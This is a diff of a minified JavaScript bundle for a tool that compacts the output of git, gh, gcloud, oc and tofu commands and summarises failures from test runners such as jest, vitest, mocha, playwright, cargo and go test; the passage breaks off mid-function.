r=Jo(n),o=r?wt(r):null,i=[o?Wc(o):null,o,e].filter(a=>!!a);return[...new Set(i)]}var T1,R1,Kc,A1,$1,O1,P1,Vc=y(()=>{"use strict";T1=new Set(["sudo","command","time","nice","nohup","env","stdbuf","timeout"]),R1=/^[A-Za-z_][A-Za-z0-9_]*=/,Kc=/^([a-z]+)-tool(?::\s|$)/,A1=new Set(["-C","-c","--git-dir","--work-tree","--namespace","--exec-path","--super-prefix","--config-env"]),$1=new Set(["-p","--paginate","-P","--no-pager","--bare","--no-replace-objects","--literal-pathspecs","--glob-pathspecs","--noglob-pathspecs","--icase-pathspecs","--no-optional-locks","--no-lazy-fetch","--no-advice"]);O1=new Set(["cd","export","source","set","unset","mkdir","true",":","pushd","popd","alias","ulimit","umask","echo","printf","sleep","touch","rm","cp","mv","chmod","ln"]);P1=/^(?:npx|bunx|uvx|pnpm\s+(?:exec|dlx)|yarn\s+(?:exec|dlx)|(?:uv|poetry|pipenv|hatch|pdm|rye)\s+run|bundle\s+exec|python[0-9.]*\s+-m)\s+(?=[^\s-])/});function qc(e){let t=Buffer.from(e,"utf8");if(t.length<=256)return e;let n=256-Buffer.byteLength(ck,"utf8"),r=Math.floor(n/2);for(;(t[r]&192)===128;)r-=1;let o=t.length-(n-r);for(;(t[o]&192)===128;)o+=1;return t.subarray(0,r).toString("utf8")+ck+t.subarray(o).toString("utf8")}var ck,uk=y(()=>{"use strict";ck=`
107
113
  [YOLO: omitted]
108
- `});function e1(e,t){if(!t)return e.split(`
114
+ `});function D1(e,t){if(!t)return e.split(`
109
115
  `).map(s=>s.replace(/^[ \t]+|[ \t]+(?=\r?$)/g,"")).join(`
110
116
  `);let n="",r=!1,o=!1;for(let s of e)r?(n+=s,o?o=!1:s==="\\"?o=!0:s==='"'&&(r=!1)):s==='"'?(r=!0,n+=s):s!==" "&&s!==" "&&s!=="\r"&&s!==`
111
117
  `&&(n+=s);return n+(e.endsWith(`
112
118
  `)?`
113
- `:"")}function t1(e,t){if(/@(?:p)?\d|\r/.test(e))return e;let n=e.endsWith(`
119
+ `:"")}function F1(e,t){if(/@(?:p)?\d|\r/.test(e))return e;let n=e.endsWith(`
114
120
  `)?`
115
121
  `:"",r=(n?e.slice(0,-1):e).split(`
116
- `),o=r.findIndex(m=>X$.test(m));if(o>=0&&r.slice(0,o).some(m=>m!==""&&!/^Showing \d+ of \d+ (?:open|closed|all) pull requests in \S+$/.test(m)))return e;let s=o>=0?[...r[o].matchAll(/\S+/g)].map(m=>m.index):[],i=[];for(let m=o+1;m<r.length;m+=1){let _=r[m];if(Q$.test(_))continue;if(/…|\.\.\./.test(_))return e;let S;if(o>=0){if(/[^\x20-\x7e]/.test(_))return e;let E=s.map((R,I)=>_.slice(R,s[I+1]));if(E.slice(0,-1).some(R=>R[0]===" "||!R.endsWith(" "))||(S=E.map(R=>R.replace(/ +$/,"")),!/^#\d+$/.test(S[0])||!/^\S+$/.test(S[2])||!/^(OPEN|CLOSED|MERGED|DRAFT)$/.test(S[3])||!/^\d+(?:s|m|h|d|w|mo|y)$/.test(S[4])))return e}else if(S=_.split(" "),S.length!==5||!/^\d+$/.test(S[0])||!S[1]||!S[2]||!/^(OPEN|CLOSED|MERGED|DRAFT)$/.test(S[3])||!Vc.test(S[4])||!Number.isFinite(Date.parse(S[4])))return e;if(S.some(E=>/[\u0000-\u001f\u007f]/.test(E)))return e;i.push({index:m,cells:S})}if(i.length===0)return e;o>=0&&(r[o]="ID TITLE BRANCH STATE CREATED");for(let m of i)r[m.index]=m.cells.join(" ");let a=r.join(`
117
- `)+n;if(!t)return a;let l=new Map;for(let{cells:m}of i)l.set(m[1],(l.get(m[1])??0)+1);let c=new Map,u=[];for(let[m,_]of l){if(m.length<40||_<3||m.trim().split(/\s+/).length<8)continue;let S=`@${c.size+1}`,E=JSON.stringify(m).replace(/\u2028/g,"\\u2028").replace(/\u2029/g,"\\u2029"),R=`TITLE ${S} = ${E}`;_*(Buffer.byteLength(m)-Buffer.byteLength(S))<=Buffer.byteLength(R)+1||(c.set(m,S),u.push(R))}let f=new Map;for(let{cells:m}of i){if(c.has(m[1]))continue;let _=/^((?:\S+\s+){4})\S/.exec(m[1])?.[1];_&&_.length>=24&&f.set(_,(f.get(_)??0)+1)}let d=new Map;for(let[m,_]of f){if(_<3)continue;let S=`@p${d.size+1}`,E=`TITLE prefix ${S} = ${JSON.stringify(m).replace(/\u2028/g,"\\u2028").replace(/\u2029/g,"\\u2029")}`;_*(Buffer.byteLength(m)-Buffer.byteLength(S)-1)<=Buffer.byteLength(E)+1||(d.set(m,S),u.push(E))}let p=i[0].cells[4].slice(10),g=i.length>=3&&Vc.test(i[0].cells[4])&&i.every(({cells:m})=>Vc.test(m[4])&&m[4].slice(10)===p)&&i.length*p.length>`CREATED suffix = ${JSON.stringify(p)}`.length+1;if(g&&u.push(`CREATED suffix = ${JSON.stringify(p)}`),u.length===0)return a;for(let{index:m,cells:_}of i){let S=c.get(_[1]),E=/^((?:\S+\s+){4})\S/.exec(_[1])?.[1],R=E?d.get(E):void 0;r[m]=_.map((I,A)=>A===1?S??(R?`${R}:${I.slice(E.length)}`:I):A===4&&g?I.slice(0,10):I).join(" ")}let h=[...r,"",...u].join(`
118
- `)+n;return Buffer.byteLength(h)<Buffer.byteLength(a)?h:a}function i1(e){let t=o1.exec(e[0]??"");if(!t)return e;let n=s1.exec(e[1]??"");if(!n)return[`* ${t[1]}`,...e.slice(1)];let r=n[1]??n[3],o=n[2]?` [${n[2]} ${n[4]}]`:"";return[`* ${t[1]}...${r}${o}`,...e.slice(2)]}function Yy(e){let t=e.endsWith(`
122
+ `),o=r.findIndex(p=>N1.test(p));if(o>=0&&r.slice(0,o).some(p=>p!==""&&!/^Showing \d+ of \d+ (?:open|closed|all) pull requests in \S+$/.test(p)))return e;let s=o>=0?[...r[o].matchAll(/\S+/g)].map(p=>p.index):[],i=[];for(let p=o+1;p<r.length;p+=1){let w=r[p];if(M1.test(w))continue;if(/…|\.\.\./.test(w))return e;let S;if(o>=0){if(/[^\x20-\x7e]/.test(w))return e;let x=s.map((T,A)=>w.slice(T,s[A+1]));if(x.slice(0,-1).some(T=>T[0]===" "||!T.endsWith(" "))||(S=x.map(T=>T.replace(/ +$/,"")),!/^#\d+$/.test(S[0])||!/^\S+$/.test(S[2])||!/^(OPEN|CLOSED|MERGED|DRAFT)$/.test(S[3])||!/^\d+(?:s|m|h|d|w|mo|y)$/.test(S[4])))return e}else if(S=w.split(" "),S.length!==5||!/^\d+$/.test(S[0])||!S[1]||!S[2]||!/^(OPEN|CLOSED|MERGED|DRAFT)$/.test(S[3])||!Yc.test(S[4])||!Number.isFinite(Date.parse(S[4])))return e;if(S.some(x=>/[\u0000-\u001f\u007f]/.test(x)))return e;i.push({index:p,cells:S})}if(i.length===0)return e;o>=0&&(r[o]="ID TITLE BRANCH STATE CREATED");for(let p of i)r[p.index]=p.cells.join(" ");let a=r.join(`
123
+ `)+n;if(!t)return a;let l=new Map;for(let{cells:p}of i)l.set(p[1],(l.get(p[1])??0)+1);let c=new Map,u=[];for(let[p,w]of l){if(p.length<40||w<3||p.trim().split(/\s+/).length<8)continue;let S=`@${c.size+1}`,x=JSON.stringify(p).replace(/\u2028/g,"\\u2028").replace(/\u2029/g,"\\u2029"),T=`TITLE ${S} = ${x}`;w*(Buffer.byteLength(p)-Buffer.byteLength(S))<=Buffer.byteLength(T)+1||(c.set(p,S),u.push(T))}let f=new Map;for(let{cells:p}of i){if(c.has(p[1]))continue;let w=/^((?:\S+\s+){4})\S/.exec(p[1])?.[1];w&&w.length>=24&&f.set(w,(f.get(w)??0)+1)}let d=new Map;for(let[p,w]of f){if(w<3)continue;let S=`@p${d.size+1}`,x=`TITLE prefix ${S} = ${JSON.stringify(p).replace(/\u2028/g,"\\u2028").replace(/\u2029/g,"\\u2029")}`;w*(Buffer.byteLength(p)-Buffer.byteLength(S)-1)<=Buffer.byteLength(x)+1||(d.set(p,S),u.push(x))}let m=i[0].cells[4].slice(10),g=i.length>=3&&Yc.test(i[0].cells[4])&&i.every(({cells:p})=>Yc.test(p[4])&&p[4].slice(10)===m)&&i.length*m.length>`CREATED suffix = ${JSON.stringify(m)}`.length+1;if(g&&u.push(`CREATED suffix = ${JSON.stringify(m)}`),u.length===0)return a;for(let{index:p,cells:w}of i){let S=c.get(w[1]),x=/^((?:\S+\s+){4})\S/.exec(w[1])?.[1],T=x?d.get(x):void 0;r[p]=w.map((A,M)=>M===1?S??(T?`${T}:${A.slice(x.length)}`:A):M===4&&g?A.slice(0,10):A).join(" ")}let h=[...r,"",...u].join(`
124
+ `)+n;return Buffer.byteLength(h)<Buffer.byteLength(a)?h:a}function z1(e){let t=j1.exec(e[0]??"");if(!t)return e;let n=B1.exec(e[1]??"");if(!n)return[`* ${t[1]}`,...e.slice(1)];let r=n[1]??n[3],o=n[2]?` [${n[2]} ${n[4]}]`:"";return[`* ${t[1]}...${r}${o}`,...e.slice(2)]}function dk(e){let t=e.endsWith(`
119
125
  `)?`
120
- `:"",n=i1((t?e.slice(0,-1):e).split(`
121
- `)),r=null,o=[];for(let s of n){if(Object.hasOwn(qy,s)){r=qy[s];continue}if(!s.startsWith(" ")){r=null,o.push(s);continue}if(r==="untracked"){o.push(`?? ${s.slice(1)}`);continue}let i=r?r1.exec(s):null;if(!i)return e;let a=n1[i[1]];o.push(r==="staged"?`${a} ${i[2]}`:` ${a} ${i[2]}`)}return o.join(`
122
- `)+t}function l1(e){let t=e.split(`
123
- `);for(let n=0;n<t.length;n+=1){if(!a1.test(t[n]))continue;let r=n;for(;r>0&&Xy.test(t[r-1]);)r-=1;for(let o=r;o<n;o+=1)t[o]=t[o].replace(Xy," $1 | $2")}return t.join(`
124
- `)}function u1(e,t){let n=[];for(let r=0;r<t.length;r+=1){let o=t[r];if(o>0&&e.length>o&&e[o-1]!==" ")return null;let s=e.slice(o,t[r+1]??e.length).trim();if(s.includes(" "))return null;n.push(s)}return n}function f1(e){let t=e.endsWith(`
126
+ `:"",n=z1((t?e.slice(0,-1):e).split(`
127
+ `)),r=null,o=[];for(let s of n){if(Object.hasOwn(fk,s)){r=fk[s];continue}if(!s.startsWith(" ")){r=null,o.push(s);continue}if(r==="untracked"){o.push(`?? ${s.slice(1)}`);continue}let i=r?H1.exec(s):null;if(!i)return e;let a=L1[i[1]];o.push(r==="staged"?`${a} ${i[2]}`:` ${a} ${i[2]}`)}return o.join(`
128
+ `)+t}function J1(e){let t=e.split(`
129
+ `);for(let n=0;n<t.length;n+=1){if(!U1.test(t[n]))continue;let r=n;for(;r>0&&mk.test(t[r-1]);)r-=1;for(let o=r;o<n;o+=1)t[o]=t[o].replace(mk," $1 | $2")}return t.join(`
130
+ `)}function Z1(e,t){let n=[];for(let r=0;r<t.length;r+=1){let o=t[r];if(o>0&&e.length>o&&e[o-1]!==" ")return null;let s=e.slice(o,t[r+1]??e.length).trim();if(s.includes(" "))return null;n.push(s)}return n}function K1(e){let t=e.endsWith(`
125
131
  `)?`
126
132
  `:"",n=(t?e.slice(0,-1):e).split(`
127
- `),r=[],o=[];for(let c of n)c.startsWith("WARNING:")?r.includes(c)||r.push(c):o.push(c);let s=o.findIndex(c=>Qy.test(c));if(s<0)return[...r,...o].join(`
128
- `)+t;let i=o[s],a=[...i.matchAll(/\S+/g)].map(c=>c.index),l=[...r,...o.slice(0,s),i.split(/ +/).join(" ")];for(let c of o.slice(s+1)){if(ek.test(c)){l.push(c);continue}let u=c.startsWith(" ")||/[^\x20-\x7e]/.test(c)?null:u1(c,a);if(!u)return[...r,...o].join(`
133
+ `),r=[],o=[];for(let c of n)c.startsWith("WARNING:")?r.includes(c)||r.push(c):o.push(c);let s=o.findIndex(c=>pk.test(c));if(s<0)return[...r,...o].join(`
134
+ `)+t;let i=o[s],a=[...i.matchAll(/\S+/g)].map(c=>c.index),l=[...r,...o.slice(0,s),i.split(/ +/).join(" ")];for(let c of o.slice(s+1)){if(gk.test(c)){l.push(c);continue}let u=c.startsWith(" ")||/[^\x20-\x7e]/.test(c)?null:Z1(c,a);if(!u)return[...r,...o].join(`
129
135
  `)+t;l.push(u.join(" "))}return l.join(`
130
- `)+t}function d1(e){let t=e.endsWith(`
136
+ `)+t}function W1(e){let t=e.endsWith(`
131
137
  `)?`
132
138
  `:"",n=(t?e.slice(0,-1):e).split(`
133
- `),r=n.findIndex(i=>Qy.test(i.trimEnd()));if(r<0)return e;let o=n[r].trim().split(/ {2,}/).length;if(o<2)return e;let s=[...n.slice(0,r),n[r].trim().split(/ {2,}/).join(" ")];for(let i of n.slice(r+1)){if(ek.test(i)){s.push(i);continue}if(i.startsWith(" ")||i.includes(" ")||/[^\x20-\x7e]/.test(i))return e;let a=i.trimEnd().split(/ {2,}/);if(a.length===o-1){let l=a[0].indexOf(" ");if(l<0||a[0].indexOf(" ",l+1)>=0)return e;a=[a[0].slice(0,l),a[0].slice(l+1),...a.slice(1)]}if(a.length!==o)return e;s.push(a.join(" "))}return s.join(`
134
- `)+t}function qc(e,t,n){if(t!=="compact"&&t!=="minimal"){if(n!=="git-status")return e;let o=Yy(e);return Buffer.byteLength(o)<Buffer.byteLength(e)?o:e}let r=e;if(/^[ \t\r\n]*[\[{]/.test(e)){try{JSON.parse(e)}catch{return e}r=e1(e,t==="minimal")}else n==="gh"?r=t1(e,t==="minimal"):n==="git-status"?r=Yy(e):n==="gcloud"?r=f1(e):n==="oc"?r=d1(e):n==="git-diff"?r=l1(e):n==="tofu-plan"&&(r=e.replace(c1,"$1 = "));return Buffer.byteLength(r)<Buffer.byteLength(e)?r:e}var X$,Q$,Vc,qy,n1,r1,o1,s1,Xy,a1,c1,Qy,ek,tk=y(()=>{"use strict";X$=/^ID {2,}TITLE {2,}BRANCH {2,}STATE {2,}CREATED *$/,Q$=/^… \([1-9]\d* more lines omitted\)$/,Vc=/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(?:\.\d{1,3})?Z$/;qy={"Changes to be committed:":"staged","Changes not staged for commit:":"unstaged","Untracked files:":"untracked"},n1={modified:"M",deleted:"D","new file":"A",renamed:"R",copied:"C",typechange:"T"},r1=/^\t(modified|deleted|new file|renamed|copied|typechange):\s+(.+)$/,o1=/^On branch (\S+)$/,s1=/^Your branch is (?:up to date with '([^']+)'|(ahead|behind)(?: of)? '([^']+)' by (\d+) commits?(?:, and can be fast-forwarded)?)\.$/;Xy=/^ (\S.*?) +\| +(\d+(?: [+-]+)?|Bin .*)$/,a1=/^ \d+ files? changed(?:, \d+ insertions?\(\+\))?(?:, \d+ deletions?\(-\))?$/;c1=/^( *(?:[~+-] +)?(?:[\w.-]+|"[^"\n]*")) {2,}= /gm,Qy=/^[A-Z][A-Z0-9_]*(?: +[A-Z][A-Z0-9_]*)+$/,ek=/^… \(\d+ more lines omitted\)$/});function nk(e){if(Buffer.byteLength(e)<2048||Si(e)||m1.test(e))return e;let t=e.split(`
135
- `),n=[];for(let r=0;r<t.length;){let o=t[r],s=r+1;if(p1.test(o))for(;s<t.length&&t[s]===o;)s+=1;let i=s-r,a=`[tkr: previous log line repeated ${i-1} additional times]`;if(i>=3&&Buffer.byteLength(a)+1<(i-1)*(Buffer.byteLength(o)+1))n.push(o,a);else for(let l=r;l<s;l+=1)n.push(o);r=s}return n.join(`
136
- `)}var p1,m1,rk=y(()=>{"use strict";dr();p1=/^(?:\d{4}-\d{2}-\d{2}[T ]\d{2}:\d{2}:\d{2}(?:\.\d+)?Z?\s+)?(?:\[(?:DEBUG|TRACE|INFO|WARN|WARNING|ERROR|FATAL)\]|DEBUG|TRACE|INFO|WARN|WARNING|ERROR|FATAL)(?::|\s|$)/,m1=/^\[tkr: previous log line repeated \d+ additional times\]$/m});function ok(e){return h1.test(e)}function sk(e){let t=e.endsWith(`
139
+ `),r=n.findIndex(i=>pk.test(i.trimEnd()));if(r<0)return e;let o=n[r].trim().split(/ {2,}/).length;if(o<2)return e;let s=[...n.slice(0,r),n[r].trim().split(/ {2,}/).join(" ")];for(let i of n.slice(r+1)){if(gk.test(i)){s.push(i);continue}if(i.startsWith(" ")||i.includes(" ")||/[^\x20-\x7e]/.test(i))return e;let a=i.trimEnd().split(/ {2,}/);if(a.length===o-1){let l=a[0].indexOf(" ");if(l<0||a[0].indexOf(" ",l+1)>=0)return e;a=[a[0].slice(0,l),a[0].slice(l+1),...a.slice(1)]}if(a.length!==o)return e;s.push(a.join(" "))}return s.join(`
140
+ `)+t}function Xc(e,t,n){if(t!=="compact"&&t!=="minimal"){if(n!=="git-status")return e;let o=dk(e);return Buffer.byteLength(o)<Buffer.byteLength(e)?o:e}let r=e;if(/^[ \t\r\n]*[\[{]/.test(e)){try{JSON.parse(e)}catch{return e}r=D1(e,t==="minimal")}else n==="gh"?r=F1(e,t==="minimal"):n==="git-status"?r=dk(e):n==="gcloud"?r=K1(e):n==="oc"?r=W1(e):n==="git-diff"?r=J1(e):n==="tofu-plan"&&(r=e.replace(G1,"$1 = "));return Buffer.byteLength(r)<Buffer.byteLength(e)?r:e}var N1,M1,Yc,fk,L1,H1,j1,B1,mk,U1,G1,pk,gk,hk=y(()=>{"use strict";N1=/^ID {2,}TITLE {2,}BRANCH {2,}STATE {2,}CREATED *$/,M1=/^… \([1-9]\d* more lines omitted\)$/,Yc=/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(?:\.\d{1,3})?Z$/;fk={"Changes to be committed:":"staged","Changes not staged for commit:":"unstaged","Untracked files:":"untracked"},L1={modified:"M",deleted:"D","new file":"A",renamed:"R",copied:"C",typechange:"T"},H1=/^\t(modified|deleted|new file|renamed|copied|typechange):\s+(.+)$/,j1=/^On branch (\S+)$/,B1=/^Your branch is (?:up to date with '([^']+)'|(ahead|behind)(?: of)? '([^']+)' by (\d+) commits?(?:, and can be fast-forwarded)?)\.$/;mk=/^ (\S.*?) +\| +(\d+(?: [+-]+)?|Bin .*)$/,U1=/^ \d+ files? changed(?:, \d+ insertions?\(\+\))?(?:, \d+ deletions?\(-\))?$/;G1=/^( *(?:[~+-] +)?(?:[\w.-]+|"[^"\n]*")) {2,}= /gm,pk=/^[A-Z][A-Z0-9_]*(?: +[A-Z][A-Z0-9_]*)+$/,gk=/^… \(\d+ more lines omitted\)$/});function yk(e){if(Buffer.byteLength(e)<2048||vi(e)||q1.test(e))return e;let t=e.split(`
141
+ `),n=[];for(let r=0;r<t.length;){let o=t[r],s=r+1;if(V1.test(o))for(;s<t.length&&t[s]===o;)s+=1;let i=s-r,a=`[tkr: previous log line repeated ${i-1} additional times]`;if(i>=3&&Buffer.byteLength(a)+1<(i-1)*(Buffer.byteLength(o)+1))n.push(o,a);else for(let l=r;l<s;l+=1)n.push(o);r=s}return n.join(`
142
+ `)}var V1,q1,kk=y(()=>{"use strict";dr();V1=/^(?:\d{4}-\d{2}-\d{2}[T ]\d{2}:\d{2}:\d{2}(?:\.\d+)?Z?\s+)?(?:\[(?:DEBUG|TRACE|INFO|WARN|WARNING|ERROR|FATAL)\]|DEBUG|TRACE|INFO|WARN|WARNING|ERROR|FATAL)(?::|\s|$)/,q1=/^\[tkr: previous log line repeated \d+ additional times\]$/m});function bk(e){return X1.test(e)}function wk(e){let t=e.endsWith(`
137
143
  `),n=(t?e.slice(0,-1):e).split(`
138
- `),r=0;for(let o of n)if(o.trim()!==""){if(!g1.test(o))return null;r+=1}return r<2?null:`tsc: 0 errors, ${r} files${t?`
139
- `:""}`}var g1,h1,ik=y(()=>{"use strict";g1=/^(?:[A-Za-z]:)?[^\s"'<>|]+\.(?:[cm]?[jt]sx?|json)$/,h1=/--(?:listFiles|listFilesOnly|listEmittedFiles|showConfig|explainFiles|traceResolution)(?:\s|=|$)/});function yr(e,t){let n=null;for(let r of e){let o=t.exec(r);o&&(n=(n??0)+Number(o[1]))}return n}function Mi(e){return y1.test(e)}function x1(e){if(!/^file:\/\//i.test(e))return e;let t=e.replace(/^file:\/\/(?:localhost)?/i,"");try{t=decodeURIComponent(t)}catch{}return t.replace(/^\/([A-Za-z]:[\\/])/,"$1")}function Di(e,t,n){return n===null?t:(t!==n&&!e.some(r=>r.kind==="frame"&&r.text===t)&&e.push({kind:"frame",text:t}),n)}function Yc(e,t=()=>!1){let n=[],r=null,o=-1,s=!1;for(let f of e){let d=f.trimEnd(),p=d.trim();if(!p||_1.test(d)||/^─+$/.test(p))continue;if(t(p)){s=!0,n.push({kind:"out",text:p.replace(/\s*─+$/,"")});continue}if(s){n.push({kind:"out",text:p});continue}let g=k1.exec(d)??b1.exec(d);if(g){o=-1;let m=x1(g[1]);Mi(m)||(r=Di(n,`${m}:${g[2]}${g[3]?`:${g[3]}`:""}`,r));continue}let h=w1.exec(d);if(h){o=-1,n.push({kind:"code",text:p,num:Number(h[2]),pointed:h[1]===">"});continue}if(S1.test(p)){o=n.length,n.push({kind:"legend",text:p});continue}n.push(o>=0?{kind:"diff",text:d,segment:o}:{kind:"msg",text:p})}let i=n.some(f=>f.kind==="code"&&f.pointed),a=r?Number(/:(\d+)(?::\d+)?$/.exec(r)?.[1]):NaN,l=!1,c=n.filter(f=>{if(f.kind!=="code")return!0;let d=!l&&(i?f.pointed===!0:f.num===a);return d&&(l=!0),d}),u=new Map;for(let f of c){if(f.kind!=="diff")continue;let d=f.text.length-f.text.trimStart().length;u.set(f.segment,Math.min(u.get(f.segment)??d,d))}for(let f of c)f.kind==="diff"&&(f.text=f.text.slice(u.get(f.segment)??0)),f.kind==="code"&&(f.kind="source",f.text=f.text.replace(/^>\s*/,""));return{body:c,loc:r}}function we(e,t=!1){return{text:e.trim().replace(/\s{2,}/g," "),minor:t}}function v1(e){if(!e.some(l=>/^⎯+ Failed (?:Tests|Suites) \d+ ⎯+$/.test(l.trim())||/^\s*Test Files\s{2,}\d/.test(l)||/^ ?FAIL\s+\S+ > /.test(l)))return null;let t=yr(e,/^\s*Tests\s+(\d+) failed/),n=[];for(let l of e)/^\s*Test Files\s{2,}\S/.test(l)?n.push(we(l,!0)):(/^\s*(?:Tests|Errors|Type Errors)\s{2,}\S/.test(l)||/^\s*ERROR: Coverage for \S.*threshold/.test(l))&&n.push(we(l));let r=[],o=0,s=[],i=[],a=()=>{if(s.length){let{body:l,loc:c}=Yc(i);for(let u of s)u.body=l,u.loc=c}s=[],i=[]};for(let l of e){let c=l.trim(),u=/^ ?FAIL\s+(\S.*?)\s*$/.exec(l);if(u){i.some(m=>m.trim())&&a();let d=u[1],p=/^(\S+) \[ \S+ \]$/.exec(d),g=d.split(" > "),h=p?{file:p[1],name:"(suite)",loc:null,body:[]}:g.length>1?{file:g[0],name:g.slice(1).join(" > "),loc:null,body:[]}:{file:null,name:d,loc:null,body:[]};p||(o+=1),r.push(h),s.push(h);continue}let f=/^⎯+ (Unhandled [A-Za-z ]+?) ⎯+$/.exec(c);if(f){a();let d={file:null,name:f[1],loc:null,body:[]};r.push(d),s.push(d);continue}if(/^⎯{3,}/.test(c)||/^(?:Test Files|Tests|Start at|Duration|Errors)\s{2,}/.test(c)){a();continue}s.length&&i.push(l)}if(a(),o===0){let l=null;for(let c of e){let u=/^\s*[❯✓×✗]\s+(\S+)\s+\(\d+ tests?\b/.exec(c);if(u){l=u[1];continue}let f=/^\s+[×✗]\s+(.+?)(?:\s+\d+(?:\.\d+)?m?s)?$/.exec(c);f&&(r.push({file:l,name:f[1],loc:null,body:[]}),o+=1)}}return{failures:r,summary:n,reported:t,counted:o}}function E1(e){if(!e.some(u=>/^\s{2}● (?!Console$)/.test(u))||!e.some(u=>/^Tests:\s/.test(u)||/^(?:FAIL|PASS)\s+\S/.test(u)))return null;let t=yr(e,/^Tests:\s+(\d+) failed/),n=[];for(let u of e)/^Test Suites:\s/.test(u)?n.push(we(u,!0)):(/^Tests:\s/.test(u)||/^Snapshots:\s/.test(u)&&/failed|obsolete/.test(u))&&n.push(we(u));let r=[],o=new Set,s=0,i=null,a=null,l=[],c=()=>{if(a){let u=`${a.file}\0${a.name}`;if(!o.has(u)){o.add(u);let{body:f,loc:d}=Yc(l);a.body=f,a.loc=d,r.push(a),a.name!=="Test suite failed to run"&&(s+=1)}}a=null,l=[]};for(let u of e){let f=/^(?:FAIL|PASS)\s+(\S+)/.exec(u);if(f){c(),i=f[1];continue}if(/^(?:Summary of all failing tests|Test Suites:|Tests:|Snapshots:|Time:|Ran all test suites)/.test(u)){c();continue}let d=/^\s{2}● (.+)$/.exec(u);if(d){c(),d[1].trim()!=="Console"&&(a={file:i,name:d[1].trim(),loc:null,body:[]});continue}a&&l.push(u)}return c(),{failures:r,summary:n,reported:t,counted:s}}function dk(e,t,n,r,o){let s=[],i=new Map,a=null;for(let l=t;l<n;l++){let c=e[l],u=/^\s{2}\d+\) (.+)$/.exec(c);if(u){let{name:f,used:d}=r(u[1],e.slice(l+1,Math.min(n,l+8)));l+=d,a=i.get(f)??null,a||(a=[],i.set(f,a),s.push({file:null,name:f,loc:null,body:[]}));continue}/^\s+Retry #\d+ ─*/.test(c)||a&&a.push(c)}for(let l of s){let{body:c,loc:u}=Yc(i.get(l.name),o);l.body=c,l.loc=u}return s}function T1(e){let t=e.findIndex(s=>/^\s*\d+ failing$/.test(s));if(t<0)return null;let n=Number(/(\d+)/.exec(e[t])[1]),r=e.filter(s=>/^\s*\d+ (?:passing|failing|pending)(?: \(\S+\))?$/.test(s)).map(s=>we(s.replace(/ \(\S+\)\s*$/,""))),o=dk(e,t+1,e.length,(s,i)=>{let a=[s.trim()],l=0;for(;!a[a.length-1].endsWith(":")&&l<i.length&&i[l].trim();)a.push(i[l].trim()),l+=1;return a[a.length-1].endsWith(":")?{name:a.join(" \u203A ").replace(/:$/,""),used:l}:{name:s.trim(),used:0}});return{failures:o,summary:r,reported:n,counted:o.length}}function R1(e){let t=e.findIndex(a=>/^\s{2}\d+\) .*›.*─{3,}\s*$/.test(a));if(t<0)return null;let n=e.findIndex((a,l)=>l>t&&/^\s{2}\d+ (?:failed|flaky|passed|skipped|interrupted|did not run)(?: \(.+\))?$/.test(a)),r=n<0?e.length:n,o=yr(e.slice(r),/^\s{2}(\d+) failed$/),s=e.slice(r).filter(a=>/^\s{2}\d+ (?:failed|flaky|passed|skipped|interrupted|did not run)(?: \(.+\))?$/.test(a)).map(a=>we(a.replace(/ \([\d.]+m?s\)\s*$/,""))),i=dk(e,t,r,a=>({name:a.replace(/\s*─+\s*$/,"").trim(),used:0}),a=>/^attachment #\d+:/.test(a));return{failures:i,summary:s,reported:o,counted:i.length}}function A1(e){if(!e.some(i=>/^test result: /.test(i))||!e.some(i=>/^---- .+ stdout ----$/.test(i)))return null;let t=yr(e,/^test result: FAILED\. \d+ passed; (\d+) failed/),n=[];for(let i of e)/^test result: FAILED/.test(i)?n.push(we(i.replace(/; finished in [\d.]+m?s\s*$/,""))):/^test result: ok/.test(i)?n.push(we(i.replace(/; finished in [\d.]+m?s\s*$/,""),!0)):/^error(?:\[\w+\])?: /.test(i)&&n.push(we(i));let r=[],o=null,s=[];for(let i of e){let a=/^---- (.+?) stdout ----$/.exec(i);if(a){o={f:{file:null,name:a[1],loc:null,body:[]},lines:[]},s.push(o),r.push(o.f);continue}if(/^failures:$|^test result: |^running \d+ tests?$/.test(i)){o=null;continue}o&&o.lines.push(i)}for(let{f:i,lines:a}of s){let l=!1,c=!1;for(let u of a){let f=u.trimEnd(),d=f.trim();if(!d)continue;let p=/^thread '.+?'(?: \(\d+\))? panicked at (?:'(.*)', )?(\S+?):(\d+):(\d+):?$/.exec(d);if(p){l=!0,i.loc??=`${p[2]}:${p[3]}:${p[4]}`,p[1]&&i.body.push({kind:"msg",text:p[1]});continue}if(!/^note: run with `RUST_BACKTRACE/.test(d)){if(/^stack backtrace:$/.test(d)){c=!0;continue}if(c){let g=/^at\s+(\S+?):(\d+):(\d+)$/.exec(d);g&&!Mi(g[1])&&(i.loc=Di(i.body,`${g[1]}:${g[2]}:${g[3]}`,i.loc));continue}i.body.push(l?{kind:"msg",text:f}:{kind:"out",text:f})}}}return{failures:r,summary:n,reported:t,counted:r.length}}function $1(e){if(!e.some(a=>/^\s*--- FAIL: \S/.test(a)))return null;let t=new Map,n=[],r=new Map,o=[],s=null,i=null;for(let a of e){let l=/^=== (?:RUN|CONT|PAUSE|NAME)\s+(\S+)/.exec(a);if(l){s=l[1],i=null;continue}let c=/^\s*--- FAIL: (\S+) \([\d.]+m?s\)/.exec(a);if(c){i={file:null,name:c[1],loc:null,body:[]},r.set(i,[...t.get(c[1])??[]]),n.push(i),s=null;continue}if(/^\s*--- (?:PASS|SKIP): /.test(a)){i=null,s=null;continue}let u=/^(FAIL|ok)\s+(\S+)(?:\s+(?:[\d.]+m?s|\(cached\)|\[[^\]]+\]))?/.exec(a);if(u&&/\t|\s{2,}|\[/.test(a)){o.push(we(a.replace(/\s+[\d.]+m?s\s*$/,""),u[1]==="ok")),i=null,s=null;continue}if(!/^(?:FAIL|PASS)$/.test(a.trim())){if(/^exit status \d+$/.test(a)){o.push(we(a,!0));continue}if(i)r.get(i).push(a);else if(s){let f=t.get(s)??[];f.push(a),t.set(s,f)}else(/^#\s\S+$/.test(a)||/^\S+\.go:\d+(?::\d+)?: /.test(a))&&o.push(we(a))}}for(let a of n){for(let l of r.get(a)){let c=l.trim();if(!c||/^goroutine \d+ \[/.test(c))continue;let u=/^(\/\S+\.go|\S+\.go):(\d+)(?: \+0x[0-9a-f]+)?$/.exec(c);if(u){Mi(u[1])||(a.loc=Di(a.body,`${u[1]}:${u[2]}`,a.loc));continue}/^(?:[\w.*/()-]+)\(.*\)$/.test(c)||/^created by /.test(c)||a.body.push({kind:"msg",text:c})}a.loc&&a.body.some(l=>l.kind==="msg"&&/^\S+\.go:\d+: 